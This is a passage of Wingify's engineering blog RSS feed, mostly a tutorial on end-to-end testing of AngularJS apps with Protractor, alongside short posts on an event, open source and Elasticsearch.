style="position:relative;"><a href="#conclusion" aria-label="conclusion permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion</h2> Elasticsearch has been great for us and it proves that you don't always need Hadoop for building analytics depending upon your requirements. The amazing thing is that we feel Elasticsearch is amazing when it comes to scaling when limited by resources - horizontal scaling is extremely simple. But it will work for you or not depends entirely on your requirements. Elasticsearch already works with Hadoop, which is being further developed to expand the use-cases it can support. This gives us a lot of confidence as we will add more features to <a href="https://vwo.com">VWO's</a> user tracking in the future and we know that we will not be limited by our decision to use Elasticsearch.</content:encoded><author>Vaidik Kapoor</author></item><item><title><![CDATA[Meta Refresh 2015 Delhi Run-Up Event]]></title><description><![CDATA[Meta Refresh is an event organised by HasGeek that focuses on design, user experience and the front-end web. The current iteration of Meta…]]></description><link>https://engineering.wingify.com//posts/meta-refresh-run-up/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/meta-refresh-run-up/</guid><pubDate>Mon, 09 Mar 2015 00:00:00 GMT</pubDate><content:encoded><a href="https://metarefresh.in/2015/">Meta Refresh</a> is an event organised by HasGeek that focuses on design, user experience and the front-end web. The current iteration of Meta Refresh (2015) will be held in Bangalore on April 16-17. <a href="http://wingify.com">Wingify</a> will be hosting the <a href="https://metarefresh.talkfunnel.com/2015-delhi/">Delhi run-up event</a> for Meta Refresh. The session will focus on how designers, engineers, optimization specialists and businesses can use data (statistics) to drive design opinion, thereby optimizing their websites and web applications. The premise being that the data speaks for itself at any point of time, and provides you with validations or rejections on your hypothesis. A data-centric approach towards web-design serves the same cause. The design / layout of any website is based on certain intuitions of the designer, and many a times there is a conflict of interests between the designer and the business team. How about tweaking the website to bridge the gap between design and business? If this is a topic that interests you we encourage you to join us for the run-up even at our office on March 21, starting at 10am. It would be a great opportunity for you to: <ol> <li>Speak - If you have a similar topic in mind, or even a different one that goes with the theme of Meta Refresh 2015 (web in your pockets), <a href="https://metarefresh.talkfunnel.com/2015-delhi/">propose a session at the talk funnel</a>.</li> <li>Learn - <a href="https://metarefresh.talkfunnel.com/2015-delhi/">RSVP for the event</a> at the same link and be present for the event to learn from the community.</li> <li>Interact - Mingle and chat with us and other attendees about design, usability, or anything at all.</li> </ol> We look forward to seeing you at the event! <h4 id="event-time-march-21-10am---3pm" style="position:relative;"><a href="#event-time-march-21-10am---3pm" aria-label="event time march 21 10am 3pm permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Event Time: March 21, 10am - 3pm</h4> <h3 id="location" style="position:relative;"><a href="#location" aria-label="location permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Location</h3> Wingify Software Pvt. Ltd. 14th Floor, KLJ Tower North, Netaji Subhash Place, Pitam Pura, Delhi - 110034 Google Maps: <a href="http://bit.ly/1AmaGYh">http://bit.ly/1AmaGYh</a> <h3 id="get-in-touch" style="position:relative;"><a href="#get-in-touch" aria-label="get in touch permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Get In Touch</h3> You can email us at <a href="mailto:engineering@wingify.com">engineering@wingify.com</a>.</content:encoded><author>Himanshu Kapoor</author></item><item><title><![CDATA[Open source at Wingify]]></title><description><![CDATA[At Wingify, we believe in open source and actively seek opportunities to give back to the community. We make use of a lot of open source…]]></description><link>https://engineering.wingify.com//posts/opensource-at-wingify/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/opensource-at-wingify/</guid><pubDate>Fri, 20 Feb 2015 00:00:00 GMT</pubDate><content:encoded>At Wingify, we believe in open source and actively seek opportunities to give back to the community. We make use of a lot of open source technologies and libraries in our day to day work. And to share back the love, we have open sourced <a href="https://github.com/wingify/please.js">quite</a> a few <a href="https://github.com/wingify/lua-resty-rabbitmqstomp">things</a> over the past. Pravendra Singh, a hacker, recently went on to actually collect and visualize data about <a href="http://pravj.github.io/blog/open-source-presence-infographic/">open source contributions of some of the leading startups in India</a>. Something really cool that came into picture from his infographics was that Wingify was leading other organizations in terms of the most starred repository - our <a href="https://github.com/wingify/please.js">Please.js</a>. Moreover, we have three more of our repositories that made it to the top 10! <div style="text-align:center; margin: 5px"> <img src="/images/2015/02/github-stars.png"> </div> There are more such cool infographics in his blog post - <a href="http://pravj.github.io/blog/open-source-presence-infographic/">Open Source Presence Infographic of Indian Startups</a>. We keep doing a lot of cool open source stuff and if you are into such things, don't forget to <a href="https://github.com/wingify">follow us on github</a> and on <a href="https://twitter.com/wingify_engg">twitter</a>.</content:encoded><author>Kushagra Gour</author></item><item><title><![CDATA[Testing AngularJS Apps End to End Using Protractor]]></title><description><![CDATA[We, at Wingify, have been writing e2e test cases for our A/B testing app for the past 5 months using protractor. Writing e2e scripts is easy…]]></description><link>https://engineering.wingify.com//posts/angularapp-e2e-testing-with-protractor/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/angularapp-e2e-testing-with-protractor/</guid><pubDate>Fri, 13 Feb 2015 00:00:00 GMT</pubDate><content:encoded>We, at <a href="https://wingify.com">Wingify</a>, have been writing e2e test cases for our <a href="https://app.vwo.com">A/B testing app</a> for the past 5 months using protractor. Writing e2e scripts is easy but making them work 90% of the times on all browsers makes you go nuts! Sometimes, I feel that the browser is moody, but of course, we have to deal with all its moods and make sure that test cases are robust. Getting your e2e tests to run smoothly everytime comes with experience. And, learning from my experiences testing our app, here is a post describing them. <h2 id="an-overview-of-protractor" style="position:relative;"><a href="#an-overview-of-protractor" aria-label="an overview of protractor permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>An Overview of Protractor</h2> <a href="https://angular.github.io/protractor/#/">Protractor</a> is a specially designed wrapper around <a href="https://code.google.com/p/selenium/wiki/WebDriverJs">WebDriverJs</a> to automate e2e testing for angular apps. The following figure gives an overview of the architecture involved for automation and testing : <div style="text-align:center; margin: 5px"> <img src="/images/2015/02/2.png"> </div> <h2 id="setting-up-protractor-and-add-ons" style="position:relative;"><a href="#setting-up-protractor-and-add-ons" aria-label="setting up protractor and add ons permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Setting up protractor and add-ons</h2> For basic setup, go through the <a href="http://angular.github.io/protractor/#/tutorial">Protractor official documentation</a>. Once the setup is done, you are ready to write and run e2e scripts. Next you need a report of failed and passed test cases along with screenshots. <code class="language-text">protractor-html-screenshot-reporter</code> , an npm module, provides you with an Html report of the test cases along with screenshots. Set it up as mentioned in <a href="https://www.npmjs.com/package/protractor-html-screenshot-reporter">npm documentation</a> Test Scenario and Test Data follow a one-to-many relationship, so we can't hardcode the test data within the code. For example: The same login test script can be used to test the login of different types of users. To make life easy, it is a better option to make use of .xls files (Microsoft Excel, OpenOffice etc) and import data dynamically into the script, while execution. <code class="language-text">xlsjs</code> npm module lets us fetch the data from an .xls file and use it in script. Follow the below mentioned steps to set it up : <ul> <li> Install xlsjs <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">npm install xlsjs</code></pre></div> </li> <li>Define a JavaScript utility function as :</li> </ul> <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">cellFromXLS = function (cellId) { 'use strict'; //Define sheetNumber var sheetNumber = 0; //Define file Path name var fileNamePath = path.join(dirPath, 'data1.xls'); //NodeJs read file var XLS; if (typeof require !== 'undefined') { XLS = require('xlsjs'); } //Working with workbook var workbook = XLS.readFile(fileNamePath); var sheetNamelist = workbook.SheetNames; var value = workbook.Sheets[sheetNamelist[sheetNumber]][cellId].v; return value; };</code></pre></div> <ul> <li>Call function as:</li> </ul> <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">var email = cellFromXLS('B1');</code></pre></div> <h3 id="test-both-angularjs-and-non-angularjs-based-pages" style="position:relative;"><a href="#test-both-angularjs-and-non-angularjs-based-pages" aria-label="test both angularjs and non angularjs based pages permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Test both Angular.js and non-Angular.js based pages</h3> Our use case involves using Protractor for an Angular.js based app, but it works pretty well for non-Angular.js pages as well. Simply set the following flag to true and access the webdriver instance using browser.driver instead of element as shown below : <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">beforeEach(function() { browser.ignoreSynchronization = true; });</code></pre></div> For instance, the following code for an angular page: <code class="language-text">javascript element(by.css(&#39;#elementid&#39;).click();</code> would be written as shown below for non angular page: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">browser.driver.findElement(by.css('#elementid')).click();</code></pre></div> Sounds cool? Now let's dig deeper in the protractor world. <h2 id="a-piece-of-protractor-code" style="position:relative;"><a href="#a-piece-of-protractor-code" aria-label="a piece of protractor code permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>A piece of protractor code</h2> Before we start with the advance functions, let's have a look at a simple login test case, where we verify that the user should be redirected to a welcome page after login. <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">//Jasmine describe statement : Describes the test describe('APP LOGIN::', function() { //before Each : This piece of code executes before all it statement beforeEach(function() { var ptor = protractor.getInstance(); ptor.get('https://app.vwo.com'); }); //Jasmine it statement : What "it" will do. it('Verify that the user is logged in', function() { //Delete all cookies browser.driver.manage().deleteAllCookies(); //Enter UserName element.all(by.model('username')).get(0).sendKeys('abc@wingify.com'); //Enter Password element(by.model('password')).sendKeys('test'); //Click Submit button element(by.css('.login-form button[type="submit"]')).click(); //Wait for the current URL to change to welcome browser.driver.wait(function() { return browser.driver.getCurrentUrl().then(function(url) { return (/welcome/).test(url); }); }); //Jasmine expect statement : compare actual and expected value expect(browser.getCurrentUrl()).toEqual('https://app.vwo.com/#/welcome'); }); /* Write other it blocks */ });</code></pre></div> <h4 id="lets-study-the-code" style="position:relative;"><a href="#lets-study-the-code" aria-label="lets study the code permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Let's study the code:</h4> <code class="language-text">Describe</code> , <code class="language-text">it</code> and <code class="language-text">expect</code> are jasmine framework methods to write the tests easily. Read more about them <a href="http://jasmine.github.io/1.3/introduction.html">here</a>. <code class="language-text">beforeEach</code> function in the code above executes before all <code class="language-text">it</code> blocks, however, you might not want to execute the code in <code class="language-text">beforeEach</code> for all <code class="language-text">it</code> blocks. Tip: To control its execution you can use a flag variable as shown in the code below. <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">//use pageLoadedStatus flag var pageLoadedStatus = false; beforeEach(function() { if (!pageLoadedStatus) { //browser.ignoreSynchronization = true; var ptor = protractor.getInstance(); ptor.get('https://app.vwo.com'); pageLoadedStatus = true; } });</code></pre></div> Multiple ways to select elements: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">by.css by.model by.repeater by.id by.binding by.xpath</code></pre></div> Interacting with the DOM: <ul> <li><code class="language-text">element</code>: returns a single element</li> <li><code class="language-text">element.all</code>: returns a collection of elements. Use <code class="language-text">get(index)</code>, <code class="language-text">first()</code>, and <code class="language-text">last()</code> functions to get a single element out of the collection.</li> </ul> <h3 id="other-awesome-functions" style="position:relative;"><a href="#other-awesome-functions" aria-label="other awesome functions permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Other awesome functions</h3> <ul> <li><code class="language-text">filter</code> : Similar to <code class="language-text">get(index)</code>, <code class="language-text">first()</code> and <code class="language-text">last()</code> functions, <code class="language-text">filter</code> takes a collection of elements and returns a single element. The only difference is that the element can be selected based on the specified condition. This is useful when there is a dynamic/long list of elements having same selector path and you need to get an element using its text or any unique property.</li> </ul> Let's take this example of clicking on a date from a calendar. <div style="text-align:center; margin: 5px"> <img src="/images/2015/02/3.png"> </div> All the dates elements have the same selector. Therefore, define a filter function as : <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">clickDateByText = function (tileText) { 'use strict'; //Select all date elements and apply filter function element.all(by.css('.dates_selector')).filter(function (elem) { //Return the element or elements return elem.getText().then(function (text) { //Match the text return text === tileText; }); }).then(function (filteredElements) { //filteredElements is the list of filtered elements filteredElements[0].click(); }); };</code></pre></div> Now to click on date 17, simply call the function as : <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">clickDateByText(17);</code></pre></div> <ul> <li><code class="language-text">each</code> : Use it when the same action has to be taken for all elements having common selector. For example : clearing the list of input fields in a Signup form.</li> </ul> <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">element.all(by.css('form>input')).each(function (inputs) { inputs.clear(); });</code></pre></div> <ul> <li><code class="language-text">map</code> : Mapping a collection of elements in an array without use of protractor <code class="language-text">map</code> function involves a lot of code to deal with all the proimises one by one. On the contrary, using map function for the same purpose is a piece of cake. Map function iterates through each element found with the locator and then resolves all the promises to return a promise with an array of values. For example : To get the text of all elements (with ng-repeat = 'option in Options') in an array, write the code as :</li> </ul> <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">var optionTexts = element.all(by.repeater('option in Options')).map(function (Options) { return Options.getText(); }); optionTexts.then(function (array) { console.log(array); });</code></pre></div> <h3 id="tips-and-tricks" style="position:relative;"><a href="#tips-and-tricks" aria-label="tips and tricks permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tips and tricks</h3> <ul> <li>Manage Browser logs: There will always be certain scenarios which would not be covered in e2e scripts. Therefore, it is a smart move to always check browser console errors for any unexpected issue in the app. The following piece of code allows you to keep a check at browser logs and fails the test cases if there are any errors :</li> </ul> <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">afterEach(function () { browser.manage().logs().get('browser').then(function (browserLog) { expect(browserLog.length).toEqual(0); if (browserLog.length) { console.error('log: ' + JSON.stringify(browserLog)); } }); });</code></pre></div> <ul> <li> Combine element statements to move around the dom : Xpath provides an excellent way to move up and down the dom. <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">// use '..' to select parent of an element element(by.css('input')).element(by.xpath('..')); // Resulting element will be the parent of input // use 'following-sibling' to select the sibling element(by.css('input')).element(by.xpath('following-sibling::span'))</code></pre></div> </li> </ul> Common UseCase: Error messages are often displayed as a sibling to input or submit types. Therefore, instead of using a different selector path for error message, xpath can be used to pick the sibling. <div style="text-align:center; margin: 5px"> <img src="/images/2015/02/4.png"> </div> To verify the error message "invalid URL", simply write the assertion as: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">element(by.model('Url')).sendkeys('http://').then(function (ele){ expect(ele.element(by.xpath('following-sibling::span')).getText()).toEqual('Invalid URL'); });</code></pre></div> <ul> <li>Never use protractor element statements inside loop: The simple reason is that the webdriverJS (protractor) API is asynchronous. Element statements returns a promise and that promise is in unresolved state while the code below the statements continues to execute. This leads to unpredictable results. Hence, it is advisable to use recursive functions instead of loops.</li> <li>Debug the tests using elementexplorer.js: elementexplorer.js lets you test the page interactively. You will find this JS file in node_modules/protractor/bin directory. Start the selenium server and run command:</li> </ul> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">node elementexplorer https://app.vwo.com</code></pre></div> Browser will load the URL and you will see > prompt. Use browser, element and protractor variables to interact with page. Note: Make sure that the developer tools are closed while running commands in elementexplorer.js prompt, otherwise you will face an unexpected error as "TypeError: Cannot read property 'click' of null" <h3 id="maintaining-and-reusing-test-cases" style="position:relative;"><a href="#maintaining-and-reusing-test-cases" aria-label="maintaining and reusing test cases permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Maintaining and reusing test cases</h3> Let's admit it, e2e test cases are not easy to be maintained and updated. You have to organize the tests in a way that they can be edited easily. Let's have a glance at Page-Objects, common-files and tests approach that we follow at Wingify, using nodeJS <code class="language-text">require</code> and <code class="language-text">exports</code> functions. <div style="text-align:center; margin: 5px"> <img src="/images/2015/02/5.png"> </div> <ul> <li>page-objects: Page-objects is a commonly used practice across the industry while writing e2e tests. It enables you to write clean tests by listing all the information about the elements in a page-object file. This means that you only need to change the page object file, in case of any change in template of app.</li> </ul> Our Application has more than 50 screens. Therefore we list all the page-objects i.e. dom elements of each screen in a seprate JS file. Take a look at login screen page-object file : <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">/*File Name : loginPage.js*/ var loginPage = function () { 'use strict'; this.userName = element(by.model('username')).get(0); this.password = element(by.model('password')); this.submitButton = element(by.css('.login-form button[type="submit"]')); //******************** functions ******************* this.setUserName = function (username) { this.userName.clear(); this.userName.sendKeys(username); }; this.clickSubmit = function () { this.submitButton.click(); }; }; module.exports = { log: new loginPage() };</code></pre></div> <ul> <li>common-module: The idea is to divide the entire e2e scenario in small reusable functions in a way that these functions can be used in other e2e scenarios as well. These reusable functions can be grouped in different files for maintainblity. The login and logout module is used in many e2e scenarios. So, both can be clubbed in a file as shown below :</li> </ul> <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">/*File Name : LoginOut.js*/ var loginPage = require('loginPage.js'), userName = 'test@wingify.com', pass = '12345'; exports.login = function () { //delete all cookies browser.driver.manage().deleteAllCookies(); loginPage.log.setUserName(userName); loginPage.log.setPassword(pass); loginPage.log.clickSubmit(); browser.driver.wait(function () { return browser.driver.getCurrentUrl().then(function (url) { return (/welcome/).test(url); }); }); browser.manage().getCookie('login').then(function (cookie) { expect(cookie.value).toBeDefined(); expect(cookie.value).not.toEqual(''); }); }; exports.logout = function () { //logout script };</code></pre></div> <ul> <li>e2e-scripts: Include all the common-module functions to write the complete e2e-script as shown below :</li> </ul> <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">/*File Name : CreateNewUserE2E.js*/ var loginMod = require('loginOut.js'); describe('Create a new user in the account and verify', function () { /*Load Test Url */ 'use strict'; it('Verify login', function () { loginMod.login(); }); /* Rest of the modules to verify user creation */ it('Verify logout', function () { loginMod.logout(); }); };</code></pre></div> <h2 id="to-conclude" style="position:relative;"><a href="#to-conclude" aria-label="to conclude permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>To conclude</h2> <ul> <li>Take an extra step to write test cases in a way that they can be edited and maintained with ease.</li> <li>Create a modular approach keeping scalability in mind.</li> <li>Dive deep in the protractor world, use protractor's awesome functions and have fun!!</li> </ul> Hope this post was a good enough reference to help you write end-to-end tests in a better way. If things might be unclear, or you have any questions, let us know via comments. <h2 id="links--references" style="position:relative;"><a href="#links--references" aria-label="links references permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Links &#x26; references</h2> <ul> <li>Protractor API: <a href="http://angular.github.io/protractor/#/api">http://angular.github.io/protractor/#/api</a></li> <li>npm xlsjs: <a href="https://www.npmjs.com/package/xlsjs">https://www.npmjs.com/package/xlsjs</a></li> <li>ng-learn: <a href="http://ng-learn.org/2014/02/Protractor_Testing_With_Angular_And_Non_Angular_Sites/">http://ng-learn.org/2014/02/ProtractorTestingWithAngularAndNonAngular_Sites/</a></li> </ul></content:encoded><author>Kamal Sahni</author></item><item><title><![CDATA[Overcoming the Challenges of Performance Testing Single-page Apps]]></title><description><![CDATA[To begin with, lets talk about two of the most important things are that come to mind when we talk about performance testing. The Metrics to…]]></description><link>https://engineering.wingify.com//posts/performance-testing/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/performance-testing/</guid><pubDate>Thu, 29 Jan 2015 00:00:00 GMT</pubDate><content:encoded>To begin with, lets talk about two of the most important things are that come to mind when we talk about performance testing. <h3 id="the-metrics-to-measure" style="position:relative;"><a href="#the-metrics-to-measure" aria-label="the metrics to measure permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The Metrics to Measure</h3> First lets consider the metrics to measure. Few important metrics that should always be considered are: <ol> <li>Response time which could include Javascript file load time, Image load time, CSS file load time, Content Download time etc.</li> <li>Number of HTTP Request and HTTP Response status.</li> </ol> <h3 id="dependencies" style="position:relative;"><a 